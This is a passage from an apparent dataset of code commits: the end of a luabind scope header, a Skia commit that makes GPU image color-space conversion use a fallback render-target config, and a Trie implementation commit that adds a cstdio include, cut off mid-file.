*i;\n\t\t\t\tptr->commit(L);\n\t\t\t}\n\n\t\t\tscope_stack::pop(L);\n\t\t}\n\n\tprivate:\n\n\t\tmutable std::vector<scoped_object*> m_children;\n\t\tlua_State* m_state;\n\t\tstd::string m_name;\n\t};\n\n\ttypedef scope namespace_;\n}\n\n#endif \/\/ LUABIND_SCOPE_HPP_INCLUDED\n\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright 2018 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#include \"GrBackendSurface.h\"\n#include \"GrClip.h\"\n#include \"GrContext.h\"\n#include \"GrContextPriv.h\"\n#include \"GrRenderTargetContext.h\"\n#include \"GrTexture.h\"\n#include \"GrTextureAdjuster.h\"\n#include \"SkBitmapCache.h\"\n#include \"SkImage_Gpu.h\"\n#include \"SkImage_GpuBase.h\"\n#include \"SkReadPixelsRec.h\"\n\nSkImage_GpuBase::SkImage_GpuBase(sk_sp<GrContext> context, int width, int height, uint32_t uniqueID,\n SkAlphaType at, SkBudgeted budgeted, sk_sp<SkColorSpace> cs)\n : INHERITED(width, height, uniqueID)\n , fContext(std::move(context))\n , fAlphaType(at)\n , fBudgeted(budgeted)\n , fColorSpace(std::move(cs)) {}\n\nSkImage_GpuBase::~SkImage_GpuBase() {}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nbool SkImage_GpuBase::ValidateBackendTexture(GrContext* ctx, const GrBackendTexture& tex,\n GrPixelConfig* config, SkColorType ct, SkAlphaType at,\n sk_sp<SkColorSpace> cs) {\n if (!tex.isValid()) {\n return false;\n }\n \/\/ TODO: Create a SkImageColorInfo struct for color, alpha, and color space so we don't need to\n \/\/ create a fake image info here.\n SkImageInfo info = SkImageInfo::Make(1, 1, ct, at, cs);\n if (!SkImageInfoIsValid(info)) {\n return false;\n }\n\n return ctx->contextPriv().caps()->validateBackendTexture(tex, ct, config);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nbool SkImage_GpuBase::getROPixels(SkBitmap* dst, SkColorSpace*, CachingHint chint) const {\n if (!fContext->contextPriv().resourceProvider()) {\n \/\/ DDL TODO: buffer up the readback so it occurs when the DDL is drawn?\n return false;\n }\n\n \/\/ The SkColorSpace parameter \"dstColorSpace\" is really just a hint about how\/where the bitmap\n \/\/ will be used. The client doesn't expect that we convert to that color space, it's intended\n \/\/ for codec-backed images, to drive our decoding heuristic. In theory we *could* read directly\n \/\/ into that color space (to save the client some effort in whatever they're about to do), but\n \/\/ that would make our use of the bitmap cache incorrect (or much less efficient, assuming we\n \/\/ rolled the dstColorSpace into the key).\n const auto desc = SkBitmapCacheDesc::Make(this);\n if (SkBitmapCache::Find(desc, dst)) {\n SkASSERT(dst->isImmutable());\n SkASSERT(dst->getPixels());\n return true;\n }\n\n SkBitmapCache::RecPtr rec = nullptr;\n SkPixmap pmap;\n if (kAllow_CachingHint == chint) {\n rec = SkBitmapCache::Alloc(desc, this->onImageInfo(), &pmap);\n if (!rec) {\n return false;\n }\n } else {\n if (!dst->tryAllocPixels(this->onImageInfo()) || !dst->peekPixels(&pmap)) {\n return false;\n }\n }\n\n sk_sp<GrSurfaceContext> sContext = fContext->contextPriv().makeWrappedSurfaceContext(\n this->asTextureProxyRef(),\n fColorSpace);\n if (!sContext) {\n return false;\n }\n\n if (!sContext->readPixels(pmap.info(), pmap.writable_addr(), pmap.rowBytes(), 0, 0)) {\n return false;\n }\n\n if (rec) {\n SkBitmapCache::Add(std::move(rec), dst);\n this->notifyAddedToRasterCache();\n }\n return true;\n}\n\nsk_sp<SkImage> SkImage_GpuBase::onMakeSubset(const SkIRect& subset) const {\n sk_sp<GrSurfaceProxy> proxy = this->asTextureProxyRef();\n\n GrSurfaceDesc desc;\n desc.fWidth = subset.width();\n desc.fHeight = subset.height();\n desc.fConfig = proxy->config();\n\n sk_sp<GrSurfaceContext> sContext(fContext->contextPriv().makeDeferredSurfaceContext(\n desc, proxy->origin(), GrMipMapped::kNo, SkBackingFit::kExact, fBudgeted));\n if (!sContext) {\n return nullptr;\n }\n\n if (!sContext->copy(proxy.get(), subset, SkIPoint::Make(0, 0))) {\n return nullptr;\n }\n\n \/\/ MDB: this call is okay bc we know 'sContext' was kExact\n return sk_make_sp<SkImage_Gpu>(fContext, kNeedNewImageUniqueID,\n fAlphaType, sContext->asTextureProxyRef(),\n fColorSpace, fBudgeted);\n}\n\nstatic void apply_premul(const SkImageInfo& info, void* pixels, size_t rowBytes) {\n switch (info.colorType()) {\n case kRGBA_8888_SkColorType:\n case kBGRA_8888_SkColorType:\n break;\n default:\n return; \/\/ nothing to do\n }\n\n \/\/ SkColor is not necesarily RGBA or BGRA, but it is one of them on little-endian,\n \/\/ and in either case, the alpha-byte is always in the same place, so we can safely call\n \/\/ SkPreMultiplyColor()\n \/\/\n SkColor* row = (SkColor*)pixels;\n for (int y = 0; y < info.height(); ++y) {\n for (int x = 0; x < info.width(); ++x) {\n row[x] = SkPreMultiplyColor(row[x]);\n }\n row = (SkColor*)((char*)(row)+rowBytes);\n }\n}\n\nbool SkImage_GpuBase::onReadPixels(const SkImageInfo& dstInfo, void* dstPixels, size_t dstRB,\n int srcX, int srcY, CachingHint) const {\n if (!fContext->contextPriv().resourceProvider()) {\n \/\/ DDL TODO: buffer up the readback so it occurs when the DDL is drawn?\n return false;\n }\n\n if (!SkImageInfoValidConversion(dstInfo, this->onImageInfo())) {\n return false;\n }\n\n SkReadPixelsRec rec(dstInfo, dstPixels, dstRB, srcX, srcY);\n if (!rec.trim(this->width(), this->height())) {\n return false;\n }\n\n \/\/ TODO: this seems to duplicate code in GrTextureContext::onReadPixels and\n \/\/ GrRenderTargetContext::onReadPixels\n uint32_t flags = 0;\n if (kUnpremul_SkAlphaType == rec.fInfo.alphaType() && kPremul_SkAlphaType == fAlphaType) {\n \/\/ let the GPU perform this transformation for us\n flags = GrContextPriv::kUnpremul_PixelOpsFlag;\n }\n\n sk_sp<GrSurfaceContext> sContext = fContext->contextPriv().makeWrappedSurfaceContext(\n this->asTextureProxyRef(), fColorSpace);\n if (!sContext) {\n return false;\n }\n\n if (!sContext->readPixels(rec.fInfo, rec.fPixels, rec.fRowBytes, rec.fX, rec.fY, flags)) {\n return false;\n }\n\n \/\/ do we have to manually fix-up the alpha channel?\n \/\/ src dst\n \/\/ unpremul premul fix manually\n \/\/ premul unpremul done by kUnpremul_PixelOpsFlag\n \/\/ all other combos need to change.\n \/\/\n \/\/ Should this be handled by Ganesh? todo:?\n \/\/\n if (kPremul_SkAlphaType == rec.fInfo.alphaType() && kUnpremul_SkAlphaType == fAlphaType) {\n apply_premul(rec.fInfo, rec.fPixels, rec.fRowBytes);\n }\n return true;\n}\n\nsk_sp<GrTextureProxy> SkImage_GpuBase::asTextureProxyRef(GrContext* context,\n const GrSamplerState& params,\n SkColorSpace* dstColorSpace,\n sk_sp<SkColorSpace>* texColorSpace,\n SkScalar scaleAdjust[2]) const {\n if (context->uniqueID() != fContext->uniqueID()) {\n SkASSERT(0);\n return nullptr;\n }\n\n GrTextureAdjuster adjuster(fContext.get(), this->asTextureProxyRef(), fAlphaType,\n this->uniqueID(), fColorSpace.get());\n return adjuster.refTextureProxyForParams(params, dstColorSpace, texColorSpace, scaleAdjust);\n}\n\nGrBackendTexture SkImage_GpuBase::onGetBackendTexture(bool flushPendingGrContextIO,\n GrSurfaceOrigin* origin) const {\n sk_sp<GrTextureProxy> proxy = this->asTextureProxyRef();\n SkASSERT(proxy);\n\n if (!fContext->contextPriv().resourceProvider() && !proxy->isInstantiated()) {\n \/\/ This image was created with a DDL context and cannot be instantiated.\n return GrBackendTexture();\n}\n\n if (!proxy->instantiate(fContext->contextPriv().resourceProvider())) {\n return GrBackendTexture(); \/\/ invalid\n }\n\n GrTexture* texture = proxy->peekTexture();\n\n if (texture) {\n if (flushPendingGrContextIO) {\n fContext->contextPriv().prepareSurfaceForExternalIO(proxy.get());\n }\n if (origin) {\n *origin = proxy->origin();\n }\n return texture->getBackendTexture();\n }\n return GrBackendTexture(); \/\/ invalid\n}\n\nGrTexture* SkImage_GpuBase::onGetTexture() const {\n GrTextureProxy* proxy = this->peekProxy();\n if (!proxy) {\n return nullptr;\n }\n\n sk_sp<GrTextureProxy> proxyRef = this->asTextureProxyRef();\n if (!fContext->contextPriv().resourceProvider() && !proxyRef->isInstantiated()) {\n \/\/ This image was created with a DDL context and cannot be instantiated.\n return nullptr;\n }\n\n if (!proxy->instantiate(fContext->contextPriv().resourceProvider())) {\n return nullptr;\n }\n\n return proxy->peekTexture();\n}\n\nsk_sp<SkImage> SkImage_GpuBase::onMakeColorSpace(sk_sp<SkColorSpace> target) const {\n auto xform = GrColorSpaceXformEffect::Make(fColorSpace.get(), fAlphaType,\n target.get(), fAlphaType);\n if (!xform) {\n return sk_ref_sp(const_cast<SkImage_GpuBase*>(this));\n }\n\n sk_sp<GrTextureProxy> proxy = this->asTextureProxyRef();\n\n sk_sp<GrRenderTargetContext> renderTargetContext(\n fContext->contextPriv().makeDeferredRenderTargetContext(\n SkBackingFit::kExact, this->width(), this->height(), proxy->config(), nullptr));\n if (!renderTargetContext) {\n return nullptr;\n }\n\n GrPaint paint;\n paint.setPorterDuffXPFactory(SkBlendMode::kSrc);\n paint.addColorTextureProcessor(std::move(proxy), SkMatrix::I());\n paint.addColorFragmentProcessor(std::move(xform));\n\n const SkRect rect = SkRect::MakeIWH(this->width(), this->height());\n\n renderTargetContext->drawRect(GrNoClip(), std::move(paint), GrAA::kNo, SkMatrix::I(), rect);\n\n if (!renderTargetContext->asTextureProxy()) {\n return nullptr;\n }\n\n \/\/ MDB: this call is okay bc we know 'renderTargetContext' was exact\n return sk_make_sp<SkImage_Gpu>(fContext, kNeedNewImageUniqueID,\n fAlphaType, renderTargetContext->asTextureProxyRef(),\n std::move(target), fBudgeted);\n}\n\nbool SkImage_GpuBase::onIsValid(GrContext* context) const {\n \/\/ The base class has already checked that context isn't abandoned (if it's not nullptr)\n if (fContext->abandoned()) {\n return false;\n }\n\n if (context && context != fContext.get()) {\n return false;\n }\n\n return true;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nsk_sp<GrTexture> SkPromiseImageHelper::getTexture(GrResourceProvider* resourceProvider,\n GrPixelConfig config) {\n \/\/ Releases the promise helper if there are no outstanding hard refs. This means that we\n \/\/ don't have any ReleaseProcs waiting to be called so we will need to do a fulfill.\n if (fReleaseHelper && fReleaseHelper->weak_expired()) {\n this->resetReleaseHelper();\n }\n\n sk_sp<GrTexture> tex;\n if (!fReleaseHelper) {\n fFulfillProc(fContext, &fBackendTex);\n fBackendTex.fConfig = config;\n if (!fBackendTex.isValid()) {\n \/\/ Even though the GrBackendTexture is not valid, we must call the release\n \/\/ proc to keep our contract of always calling Fulfill and Release in pairs.\n fReleaseProc(fContext);\n return sk_sp<GrTexture>();\n }\n\n tex = resourceProvider->wrapBackendTexture(fBackendTex, kBorrow_GrWrapOwnership);\n if (!tex) {\n \/\/ Even though the GrBackendTexture is not valid, we must call the release\n \/\/ proc to keep our contract of always calling Fulfill and Release in pairs.\n fReleaseProc(fContext);\n return sk_sp<GrTexture>();\n }\n fReleaseHelper = new SkPromiseReleaseProcHelper(fReleaseProc, fContext, fDoneHelper);\n \/\/ Take a weak ref\n fReleaseHelper->weak_ref();\n } else {\n SkASSERT(fBackendTex.isValid());\n tex = resourceProvider->wrapBackendTexture(fBackendTex, kBorrow_GrWrapOwnership);\n if (!tex) {\n \/\/ We weren't able to make a texture here, but since we are in this branch\n \/\/ of the calls (promiseHelper.fReleaseHelper is valid) there is already a\n \/\/ texture out there which will call the release proc so we don't need to\n \/\/ call it here.\n return sk_sp<GrTexture>();\n }\n\n SkAssertResult(fReleaseHelper->try_ref());\n }\n SkASSERT(tex);\n \/\/ Pass the hard ref off to the texture\n tex->setRelease(sk_sp<GrReleaseProcHelper>(fReleaseHelper));\n return tex;\n}\n<commit_msg>Fix bug with makeColorSpace of GPU images with non-renderable configs<commit_after>\/*\n * Copyright 2018 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#include \"GrBackendSurface.h\"\n#include \"GrClip.h\"\n#include \"GrContext.h\"\n#include \"GrContextPriv.h\"\n#include \"GrRenderTargetContext.h\"\n#include \"GrTexture.h\"\n#include \"GrTextureAdjuster.h\"\n#include \"SkBitmapCache.h\"\n#include \"SkImage_Gpu.h\"\n#include \"SkImage_GpuBase.h\"\n#include \"SkReadPixelsRec.h\"\n\nSkImage_GpuBase::SkImage_GpuBase(sk_sp<GrContext> context, int width, int height, uint32_t uniqueID,\n SkAlphaType at, SkBudgeted budgeted, sk_sp<SkColorSpace> cs)\n : INHERITED(width, height, uniqueID)\n , fContext(std::move(context))\n , fAlphaType(at)\n , fBudgeted(budgeted)\n , fColorSpace(std::move(cs)) {}\n\nSkImage_GpuBase::~SkImage_GpuBase() {}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nbool SkImage_GpuBase::ValidateBackendTexture(GrContext* ctx, const GrBackendTexture& tex,\n GrPixelConfig* config, SkColorType ct, SkAlphaType at,\n sk_sp<SkColorSpace> cs) {\n if (!tex.isValid()) {\n return false;\n }\n \/\/ TODO: Create a SkImageColorInfo struct for color, alpha, and color space so we don't need to\n \/\/ create a fake image info here.\n SkImageInfo info = SkImageInfo::Make(1, 1, ct, at, cs);\n if (!SkImageInfoIsValid(info)) {\n return false;\n }\n\n return ctx->contextPriv().caps()->validateBackendTexture(tex, ct, config);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nbool SkImage_GpuBase::getROPixels(SkBitmap* dst, SkColorSpace*, CachingHint chint) const {\n if (!fContext->contextPriv().resourceProvider()) {\n \/\/ DDL TODO: buffer up the readback so it occurs when the DDL is drawn?\n return false;\n }\n\n \/\/ The SkColorSpace parameter \"dstColorSpace\" is really just a hint about how\/where the bitmap\n \/\/ will be used. The client doesn't expect that we convert to that color space, it's intended\n \/\/ for codec-backed images, to drive our decoding heuristic. In theory we *could* read directly\n \/\/ into that color space (to save the client some effort in whatever they're about to do), but\n \/\/ that would make our use of the bitmap cache incorrect (or much less efficient, assuming we\n \/\/ rolled the dstColorSpace into the key).\n const auto desc = SkBitmapCacheDesc::Make(this);\n if (SkBitmapCache::Find(desc, dst)) {\n SkASSERT(dst->isImmutable());\n SkASSERT(dst->getPixels());\n return true;\n }\n\n SkBitmapCache::RecPtr rec = nullptr;\n SkPixmap pmap;\n if (kAllow_CachingHint == chint) {\n rec = SkBitmapCache::Alloc(desc, this->onImageInfo(), &pmap);\n if (!rec) {\n return false;\n }\n } else {\n if (!dst->tryAllocPixels(this->onImageInfo()) || !dst->peekPixels(&pmap)) {\n return false;\n }\n }\n\n sk_sp<GrSurfaceContext> sContext = fContext->contextPriv().makeWrappedSurfaceContext(\n this->asTextureProxyRef(),\n fColorSpace);\n if (!sContext) {\n return false;\n }\n\n if (!sContext->readPixels(pmap.info(), pmap.writable_addr(), pmap.rowBytes(), 0, 0)) {\n return false;\n }\n\n if (rec) {\n SkBitmapCache::Add(std::move(rec), dst);\n this->notifyAddedToRasterCache();\n }\n return true;\n}\n\nsk_sp<SkImage> SkImage_GpuBase::onMakeSubset(const SkIRect& subset) const {\n sk_sp<GrSurfaceProxy> proxy = this->asTextureProxyRef();\n\n GrSurfaceDesc desc;\n desc.fWidth = subset.width();\n desc.fHeight = subset.height();\n desc.fConfig = proxy->config();\n\n sk_sp<GrSurfaceContext> sContext(fContext->contextPriv().makeDeferredSurfaceContext(\n desc, proxy->origin(), GrMipMapped::kNo, SkBackingFit::kExact, fBudgeted));\n if (!sContext) {\n return nullptr;\n }\n\n if (!sContext->copy(proxy.get(), subset, SkIPoint::Make(0, 0))) {\n return nullptr;\n }\n\n \/\/ MDB: this call is okay bc we know 'sContext' was kExact\n return sk_make_sp<SkImage_Gpu>(fContext, kNeedNewImageUniqueID,\n fAlphaType, sContext->asTextureProxyRef(),\n fColorSpace, fBudgeted);\n}\n\nstatic void apply_premul(const SkImageInfo& info, void* pixels, size_t rowBytes) {\n switch (info.colorType()) {\n case kRGBA_8888_SkColorType:\n case kBGRA_8888_SkColorType:\n break;\n default:\n return; \/\/ nothing to do\n }\n\n \/\/ SkColor is not necesarily RGBA or BGRA, but it is one of them on little-endian,\n \/\/ and in either case, the alpha-byte is always in the same place, so we can safely call\n \/\/ SkPreMultiplyColor()\n \/\/\n SkColor* row = (SkColor*)pixels;\n for (int y = 0; y < info.height(); ++y) {\n for (int x = 0; x < info.width(); ++x) {\n row[x] = SkPreMultiplyColor(row[x]);\n }\n row = (SkColor*)((char*)(row)+rowBytes);\n }\n}\n\nbool SkImage_GpuBase::onReadPixels(const SkImageInfo& dstInfo, void* dstPixels, size_t dstRB,\n int srcX, int srcY, CachingHint) const {\n if (!fContext->contextPriv().resourceProvider()) {\n \/\/ DDL TODO: buffer up the readback so it occurs when the DDL is drawn?\n return false;\n }\n\n if (!SkImageInfoValidConversion(dstInfo, this->onImageInfo())) {\n return false;\n }\n\n SkReadPixelsRec rec(dstInfo, dstPixels, dstRB, srcX, srcY);\n if (!rec.trim(this->width(), this->height())) {\n return false;\n }\n\n \/\/ TODO: this seems to duplicate code in GrTextureContext::onReadPixels and\n \/\/ GrRenderTargetContext::onReadPixels\n uint32_t flags = 0;\n if (kUnpremul_SkAlphaType == rec.fInfo.alphaType() && kPremul_SkAlphaType == fAlphaType) {\n \/\/ let the GPU perform this transformation for us\n flags = GrContextPriv::kUnpremul_PixelOpsFlag;\n }\n\n sk_sp<GrSurfaceContext> sContext = fContext->contextPriv().makeWrappedSurfaceContext(\n this->asTextureProxyRef(), fColorSpace);\n if (!sContext) {\n return false;\n }\n\n if (!sContext->readPixels(rec.fInfo, rec.fPixels, rec.fRowBytes, rec.fX, rec.fY, flags)) {\n return false;\n }\n\n \/\/ do we have to manually fix-up the alpha channel?\n \/\/ src dst\n \/\/ unpremul premul fix manually\n \/\/ premul unpremul done by kUnpremul_PixelOpsFlag\n \/\/ all other combos need to change.\n \/\/\n \/\/ Should this be handled by Ganesh? todo:?\n \/\/\n if (kPremul_SkAlphaType == rec.fInfo.alphaType() && kUnpremul_SkAlphaType == fAlphaType) {\n apply_premul(rec.fInfo, rec.fPixels, rec.fRowBytes);\n }\n return true;\n}\n\nsk_sp<GrTextureProxy> SkImage_GpuBase::asTextureProxyRef(GrContext* context,\n const GrSamplerState& params,\n SkColorSpace* dstColorSpace,\n sk_sp<SkColorSpace>* texColorSpace,\n SkScalar scaleAdjust[2]) const {\n if (context->uniqueID() != fContext->uniqueID()) {\n SkASSERT(0);\n return nullptr;\n }\n\n GrTextureAdjuster adjuster(fContext.get(), this->asTextureProxyRef(), fAlphaType,\n this->uniqueID(), fColorSpace.get());\n return adjuster.refTextureProxyForParams(params, dstColorSpace, texColorSpace, scaleAdjust);\n}\n\nGrBackendTexture SkImage_GpuBase::onGetBackendTexture(bool flushPendingGrContextIO,\n GrSurfaceOrigin* origin) const {\n sk_sp<GrTextureProxy> proxy = this->asTextureProxyRef();\n SkASSERT(proxy);\n\n if (!fContext->contextPriv().resourceProvider() && !proxy->isInstantiated()) {\n \/\/ This image was created with a DDL context and cannot be instantiated.\n return GrBackendTexture();\n}\n\n if (!proxy->instantiate(fContext->contextPriv().resourceProvider())) {\n return GrBackendTexture(); \/\/ invalid\n }\n\n GrTexture* texture = proxy->peekTexture();\n\n if (texture) {\n if (flushPendingGrContextIO) {\n fContext->contextPriv().prepareSurfaceForExternalIO(proxy.get());\n }\n if (origin) {\n *origin = proxy->origin();\n }\n return texture->getBackendTexture();\n }\n return GrBackendTexture(); \/\/ invalid\n}\n\nGrTexture* SkImage_GpuBase::onGetTexture() const {\n GrTextureProxy* proxy = this->peekProxy();\n if (!proxy) {\n return nullptr;\n }\n\n sk_sp<GrTextureProxy> proxyRef = this->asTextureProxyRef();\n if (!fContext->contextPriv().resourceProvider() && !proxyRef->isInstantiated()) {\n \/\/ This image was created with a DDL context and cannot be instantiated.\n return nullptr;\n }\n\n if (!proxy->instantiate(fContext->contextPriv().resourceProvider())) {\n return nullptr;\n }\n\n return proxy->peekTexture();\n}\n\nsk_sp<SkImage> SkImage_GpuBase::onMakeColorSpace(sk_sp<SkColorSpace> target) const {\n auto xform = GrColorSpaceXformEffect::Make(fColorSpace.get(), fAlphaType,\n target.get(), fAlphaType);\n if (!xform) {\n return sk_ref_sp(const_cast<SkImage_GpuBase*>(this));\n }\n\n sk_sp<GrTextureProxy> proxy = this->asTextureProxyRef();\n\n sk_sp<GrRenderTargetContext> renderTargetContext(\n fContext->contextPriv().makeDeferredRenderTargetContextWithFallback(\n SkBackingFit::kExact, this->width(), this->height(), proxy->config(), nullptr));\n if (!renderTargetContext) {\n return nullptr;\n }\n\n GrPaint paint;\n paint.setPorterDuffXPFactory(SkBlendMode::kSrc);\n paint.addColorTextureProcessor(std::move(proxy), SkMatrix::I());\n paint.addColorFragmentProcessor(std::move(xform));\n\n const SkRect rect = SkRect::MakeIWH(this->width(), this->height());\n\n renderTargetContext->drawRect(GrNoClip(), std::move(paint), GrAA::kNo, SkMatrix::I(), rect);\n\n if (!renderTargetContext->asTextureProxy()) {\n return nullptr;\n }\n\n \/\/ MDB: this call is okay bc we know 'renderTargetContext' was exact\n return sk_make_sp<SkImage_Gpu>(fContext, kNeedNewImageUniqueID,\n fAlphaType, renderTargetContext->asTextureProxyRef(),\n std::move(target), fBudgeted);\n}\n\nbool SkImage_GpuBase::onIsValid(GrContext* context) const {\n \/\/ The base class has already checked that context isn't abandoned (if it's not nullptr)\n if (fContext->abandoned()) {\n return false;\n }\n\n if (context && context != fContext.get()) {\n return false;\n }\n\n return true;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nsk_sp<GrTexture> SkPromiseImageHelper::getTexture(GrResourceProvider* resourceProvider,\n GrPixelConfig config) {\n \/\/ Releases the promise helper if there are no outstanding hard refs. This means that we\n \/\/ don't have any ReleaseProcs waiting to be called so we will need to do a fulfill.\n if (fReleaseHelper && fReleaseHelper->weak_expired()) {\n this->resetReleaseHelper();\n }\n\n sk_sp<GrTexture> tex;\n if (!fReleaseHelper) {\n fFulfillProc(fContext, &fBackendTex);\n fBackendTex.fConfig = config;\n if (!fBackendTex.isValid()) {\n \/\/ Even though the GrBackendTexture is not valid, we must call the release\n \/\/ proc to keep our contract of always calling Fulfill and Release in pairs.\n fReleaseProc(fContext);\n return sk_sp<GrTexture>();\n }\n\n tex = resourceProvider->wrapBackendTexture(fBackendTex, kBorrow_GrWrapOwnership);\n if (!tex) {\n \/\/ Even though the GrBackendTexture is not valid, we must call the release\n \/\/ proc to keep our contract of always calling Fulfill and Release in pairs.\n fReleaseProc(fContext);\n return sk_sp<GrTexture>();\n }\n fReleaseHelper = new SkPromiseReleaseProcHelper(fReleaseProc, fContext, fDoneHelper);\n \/\/ Take a weak ref\n fReleaseHelper->weak_ref();\n } else {\n SkASSERT(fBackendTex.isValid());\n tex = resourceProvider->wrapBackendTexture(fBackendTex, kBorrow_GrWrapOwnership);\n if (!tex) {\n \/\/ We weren't able to make a texture here, but since we are in this branch\n \/\/ of the calls (promiseHelper.fReleaseHelper is valid) there is already a\n \/\/ texture out there which will call the release proc so we don't need to\n \/\/ call it here.\n return sk_sp<GrTexture>();\n }\n\n SkAssertResult(fReleaseHelper->try_ref());\n }\n SkASSERT(tex);\n \/\/ Pass the hard ref off to the texture\n tex->setRelease(sk_sp<GrReleaseProcHelper>(fReleaseHelper));\n return tex;\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"Trie.hpp\"\n#include \"Stack2.hpp\"\n#include \"Pair.hpp\"\n#include <string.h>\n#include <iostream>\n\nTrieNode::TrieNode(): parent_(0), value_(0), key_(0)\n{\n memset(index_, 0, sizeof(TrieNode*)*53);\n}\n\nbool TrieNode::operator<(const TrieNode & b) const\n{\n return (b.value_ < this->value_);\n}\n\nstd::ostream& TrieNode::toStream(std::ostream& oOut)\n{\n oOut << key_;\n oOut << \":\";\n oOut << value_; \n return oOut;\n}\n\nstd::ostream& operator<<(std::ostream& oOut, TrieNode & iObj) { return iObj.toStream(oOut); }\n\n\nTrie::Trie(): size_(0) {}\n\nvoid Trie::insert(const char * iWord)\n{\n TrieNode * p = &root_;\n while (*iWord!=0)\n {\n char i = hash(*iWord);\n if ( p->index_[i] ) \n {\n p = p->index_[i];\n } \n else \n {\n TrieNode * node = new TrieNode();\n node->key_ = *iWord;\n node->parent_ = p;\n p->index_[i] = node;\n p = node;\n ++size_;\n } \n ++iWord;\n }\n if (p->value_==0)\n list_.pushBack(p);\n ++(p->value_);\n}\n\nvoid Trie::frequencies(int iTop) const\n{\n printf(\"\\tTrie_size= %i\\n\", size_);\n printf(\"\\tMemory_space= %i\\n\", size_*sizeof(TrieNode));\n list_.sort2();\n \/\/std::cout << list_ << std::endl;\n \n LinkedListIterator<TrieNode*> it = list_.getIterator();\n int i = 0;\n \n for (; i<iTop && !it.end(); ++i, ++it)\n {\n const TrieNode * p = *it;\n char s[64];\n memset(s,0,64);\n char * q = s;\n int freq = p->value_; \n \n while (p!=&root_)\n {\n *q=p->key_;\n ++q;\n p = p->parent_;\n }\n \/\/ we have to reverse the string before printing it\n reverse_string(s, get_string_size(s));\n printf(\"\\t%i\\t%s\\n\", freq, s);\n }\n \n}\n\nchar Trie::hash(char c)\n{\n if (c>64 && c<91)\n return c-65;\n else if (c>96 && c<123)\n return c-71;\n return 52; \n}\n\nvoid Trie::reverse_string(char * s, int n) const\n{\n char * e = s+n-1;\n char t;\n\n for (; s<e; ++s, --e)\n {\n t = *s;\n *s = *e;\n *e = t;\n }\n\n return;\n}\n\nint Trie::get_string_size(char * s) const\n{\n char * p = s;\n while(*p) \n ++p; \n return (p-s); \n}\n\nint Trie::get_tree_high() const\n{\n typedef Pair<const TrieNode*, int> Dub; \n \n Stack2< Dub > stack;\n int max = 0;\n int cur = 0;\n const TrieNode* p = 0;\n \n stack.push( Dub(&root_,cur) );\n \n while( !stack.empty() )\n {\n Dub d = stack.getTop();\n stack.pop();\n p = d.first();\n cur = d.second();\n \n if (cur>max) \n { \n max=cur; \n }\n \n for (int i=52; i>=0; --i)\n {\n if ( p->index_[i] ) \n { \n stack.push( Dub(p->index_[i], cur+1) );\n }\n }\n }\n \n return max;\n}\n\n<commit_msg>Added cstdio include<commit_after>#include \"Trie.hpp\"\n#include \"Stack2.hpp\"\n#include \"Pair.hpp\"\n#include <cstring>\n#include <cstdio>\n#include <iostream>\n\nTrieNode::TrieNode(): parent_(0), value_(0), key_(0)\n{\n memset(index_, 0, sizeof(TrieNode*)*53);\n}\n\nbool TrieNode::operator<(const TrieNode & b) const\n{\n return (b.value_ < this->value_);\n}\n\nstd::ostream& TrieNode::toStream(std::ostream& oOut)\n{\n oOut << key_;\n oOut << \":\";\n oOut << value_; \n return oOut;\n}\n\nstd::ostream& operator<<(std::ostream& oOut, TrieNode & iObj) { return iObj.toStream(oOut); }\n\n\nTrie::Trie(): size_(0) {}\n\nvoid Trie::insert(const char * iWord)\n{\n TrieNode * p = &root_;\n while (*iWord!=0)\n {\n char i = hash(*iWord);\n if ( p->index_[i] ) \n {\n p = p->index_[i];\n } \n else \n {\n TrieNode * node = new TrieNode();\n node->key_ = *iWord;\n node->parent_ = p;\n p->index_[i] = node;\n p = node;\n ++size_;\n } \n ++iWord;\n }\n if (p->value_==0)\n list_.pushBack(p);\n ++(p->value_);\n}\n\nvoid Trie::frequencies(int iTop) const\n{\n printf(\"\\tTrie_size= %i\\n\", size_);\n printf(\"\\tMemory_space= %i\\n\", 